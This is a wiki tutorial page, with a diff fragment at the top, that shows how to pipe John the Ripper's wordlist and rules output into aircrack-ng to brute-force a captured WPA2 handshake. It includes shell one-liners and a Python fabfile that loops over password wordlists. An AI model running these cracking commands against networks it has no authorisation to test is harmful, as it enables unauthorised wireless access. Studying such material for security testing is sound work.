From charlesreid1

Line 227: Line 227:


     for each mode
     for each mode
         for each password file
         for each wordlist file
             for each capture file
             for each capture file
     """
     """


    # Loop over modes
     modes = ['','--rules','--rules:single']
     modes = ['','--rules','--rules:single']
     for mode_arg in modes:
     for mode_arg in modes:
Line 237: Line 238:
         wordlist_list = raw.splitlines()
         wordlist_list = raw.splitlines()


        # Loop over wordlists
         for iw,wordlist in enumerate(wordlist_list):
         for iw,wordlist in enumerate(wordlist_list):


Line 243: Line 245:
             stdout_arg = "--stdout"
             stdout_arg = "--stdout"


            # Print a hypothetical John command
             logging.info( ' '.join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg]) )
             logging.info( ' '.join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg]) )
</per>
</source>





Revision as of 19:04, 1 August 2015

What is Aircrack

We have met Aircrack before - it's a tool used for sniffing out the right WEP and WPA packets to crack the network's encryption. One of the last steps, once you've captured the proper packets, is to brute-force guess the WPA passphrase. This is where John can help.

What is John

John the Ripper is a tool for guessing weak passwords on user accounts. It's good at generating a whole bunch of random passwords that are based on words, or modifications of words, or numbers.

You can use John in conjunction with Aircrack, by telling John to just print out all of the words it has generated to stdout, and then using stdout as the aircrack wordlist/dictionary. This allows you to just let John crank away. There are certainly better ways to do it, but this can be a quick check for weak passwords.

Getting Set Up

To use Aircrack with John, you'll need to make sure you have both installed. If you're on Kali you're good to go.

John Modes

You can use John in multiple different modes, and depending on the mode, you'll either be waiting a few minutes, or a few years. Choose wisely.

Incremental All Mode (Exhaustive)

If you call John with the --incremental=allflag, that specifies incremental mode, which will go through every single painstaking combination. This means we don't have to supply a wordlist, but it also means we're going to be coming up with a lot of garbage guesses.

Specifying a Wordlist

If you want to specify a wordlist for John to use (like one of the many fantastic password lists in this Github repo: https://github.com/danielmiessler/SecLists), you can do so with the -w flag:

-w=password.lst


John-Aircrack Command

There is no "final" John-to-Aircrack command, at least not until the passphrase is cracked.

The first one I tried looked like this:

$ john -w=10_million_password_list_top_1000.txt --session=attack1 --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -

Let's go through this one bit at a time:



--session=attack1: this tells John to keep track of where it is at in the process and what passwords it has guessed, which will make it possible to restore the session in case the process dies or is interrupted.

--stdout: print all words that John would have otherwise tried itself to stdout, so that some other program can use them

-a 2: this specifies the encryption protocol as WPA2

-e ASDF: this is the name of the wireless network whose WPA passphrase we're trying to crack

asdf-01.cap: this is the capture file from our earlier-run airomon-ng command.

-w -: the -w flag specifies a wordlist. Since, in this case, - by itself represents stdin (what John is piping in), this means we're using John's generated words as an aircrack wordlist.

Using Multiple Wordlists with John the Ripper

You can combine xargs with John to use one wordlist at a time:

$ ls ~/wordlists/*.txt | xargs -t -I% john --session=attack1 --wordlist=%    [etc..... ]

So to put it all together: we will issue a one-line command. It will iterate through each wordlist in a given directory. For each wordlist, it will run John with that wordlist, and John will print a variety of words to try based on that wordlist. That output is then piped to Aircrack.

$ ls ~/wordlists/*.txt | xargs -t -I% john --session=attack1 --wordlist=%  --stdout | aircrack-ng -a 2 -e ASDF asdf-01.cap -w -

This will use all of our wordlists to try and crack the encryption on the network ASDF, where airodump created asdf-01.cap and the file asdf-01.cap has at least one handshake in it.

Scripting with Python

Aircrack's main/default interface is NOT scripting-friendly (example: when you run aircrack on a capture file, and it finds a matching passphrase, it prints the result to the screen - but it doesn't save it to a file. Inexplicably. So if you accidentally close your window after ten days of cranking away, then, too bad, I guess?!?)

Then there's the complication that if you run these jobs in the background with tmux or screen, the output gets completely screwed up if you change window widths, and you CANNOT see Aircrack's results printed to the screen after you screw up the output. What a mess.

So let's talk about how to make them slightly more scriptable with Python.

Installing Fab

We'll use fab, which gives Python Makefile-like functionality.

Before, we were stringing together a long command, where we piped names of text files from ls to john to aircrack.

Let's use fab instead. We'll be replacing this command line:

ls ~/codes/seclists/Passwords/*.txt | xargs -t -I% john -ssession=tig --wordlist=% --stdout | aircrack-ng -a 2 -e Tig tig-02.cap

Getting List of Wordlist Files

First step is to get a Python list populated by text file names:

get_wordlist_list():
    raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
    wordlist_list = raw.splitlines()
    

and run like so:

$ fab get_wordlist_list

Using the List of Wordlists

Now how can we use this list of wordlists?

Here's a quick example of constructing a call to john using a particular wordlist:

def get_wordlist_list():
    raw = local('/bin/ls -1 /root/codes/seclists/Passwords/*.txt', capture=True)
    wordlist_list = raw.splitlines()
    for iw,wordlist in enumerate(wordlist_list):
        print "john --session=sess%d --wordlist=%s --stdout"%(iw,wordlist)

with the result:

$ fab get_wordlist_list
[localhost] local: /bin/ls -1 /root/codes/seclists/Passwords/*.txt
john --session=sess0 --wordlist=/root/codes/seclists/Passwords/10k_most_common.txt --stdout
john --session=sess1 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000000.txt --stdout
john --session=sess2 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100000.txt --stdout
john --session=sess3 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_10000.txt --stdout
john --session=sess4 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_1000.txt --stdout
john --session=sess5 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_100.txt --stdout
john --session=sess6 --wordlist=/root/codes/seclists/Passwords/10_million_password_list_top_500.txt --stdout
john --session=sess7 --wordlist=/root/codes/seclists/Passwords/500-worst-passwords.txt --stdout
john --session=sess8 --wordlist=/root/codes/seclists/Passwords/adobe100.txt --stdout
john --session=sess9 --wordlist=/root/codes/seclists/Passwords/alleged-gmail-passwords.txt --stdout
john --session=sess10 --wordlist=/root/codes/seclists/Passwords/Basic_Spanish_List.txt --stdout
john --session=sess11 --wordlist=/root/codes/seclists/Passwords/best1050.txt --stdout
john --session=sess12 --wordlist=/root/codes/seclists/Passwords/best110.txt --stdout
john --session=sess13 --wordlist=/root/codes/seclists/Passwords/best15.txt --stdout
john --session=sess14 --wordlist=/root/codes/seclists/Passwords/bible-nocount.txt --stdout
john --session=sess15 --wordlist=/root/codes/seclists/Passwords/bible-withcount.txt --stdout
john --session=sess16 --wordlist=/root/codes/seclists/Passwords/carders.cc.txt --stdout
john --session=sess17 --wordlist=/root/codes/seclists/Passwords/conficker.txt --stdout
john --session=sess18 --wordlist=/root/codes/seclists/Passwords/darkc0de.txt --stdout
john --session=sess29 --wordlist=/root/codes/seclists/Passwords/mubix_izmy.txt --stdout
john --session=sess30 --wordlist=/root/codes/seclists/Passwords/myspace-withcount.txt --stdout
john --session=sess32 --wordlist=/root/codes/seclists/Passwords/passwords_clarkson_82.txt --stdout
john --session=sess33 --wordlist=/root/codes/seclists/Passwords/passwords_john.txt --stdout

[...]

Niiiiice.

Trying Different John Modes

Now that we're scripting everything in Python, we can not only use John with each different wordlist, but we can also try John in different modes.

For example, if we wanted to sweep through all of these password lists multiple times, and try non-numeric passwords first, then numerical only, then alphanumeric, etc., then we could set up a loop over different rules.

Default Rules

We can start with John's default rules by adding --rules to the call to john.

Single Crack Mode

You can also crack in Single Crack mode, which doesn't use a wordlist, but instead tries to crack the password using the login/GECOS information as passwords" (meaning, it tries passwords that are variations on the username - I think. Not sure how this works).

$ john --rules:single --stdout

Single Crack Mode with a Wordlist

You can also pass in a wordlist in single mode,

$ john --rules:single --wordlist:short.lst --stdout

John Power Tool Rules

Loooooots of good info on improving on john's rules, particularly if you're cracking lots of passwords and you want to improve your search methodology as you go:: https://www.owasp.org/images/a/af/2011-Supercharged-Slides-Redman-OWASP-Feb.pdf

Aircrack Output to File

One of the problems I was having when using the one-liner with everything piped to everything else was, the output was messed up with screen and I couldn't see what the key was once it had been cracked.

We can save ourselves this headache by using the -l [filename] flag to write the key to a file.

Logging

It's important to keep track of what we've tried with some kind of log file. To print a message to a log file, we can use the Python logging library:

import logging
logging.basicConfig(filename='example.log',level=logging.DEBUG)
logging.info('You are here.')

Now if we want to add logging to our fabfile, we just include those statements above.

Assembly

To put all the pieces together:

from fabric.api import local
import logging

logging.basicConfig(filename='log_john.log',level=logging.DEBUG)

ls_cmd = '/bin/ls -1'

wordlist_dir = '/root/codes/seclists/Passwords/*.txt'

def try_wordlists():
    """
    This procedure loops over each wordlist, and tries each one.
    It can also try different modes and capture files.
    The pseudocode is:

    for each mode
        for each wordlist file
            for each capture file
    """

    # Loop over modes
    modes = ['','--rules','--rules:single']
    for mode_arg in modes:

        raw = local( ' '.join([ls_cmd,wordlist_dir]) , capture=True)
        wordlist_list = raw.splitlines()

        # Loop over wordlists
        for iw,wordlist in enumerate(wordlist_list):

            session_arg = "--session=sess%d"%(iw)
            wordlist_arg = "--wordlist=%s"%(wordlist)
            stdout_arg = "--stdout"

            # Print a hypothetical John command
            logging.info( ' '.join(['john',mode_arg,session_arg,wordlist_arg,stdout_arg]) )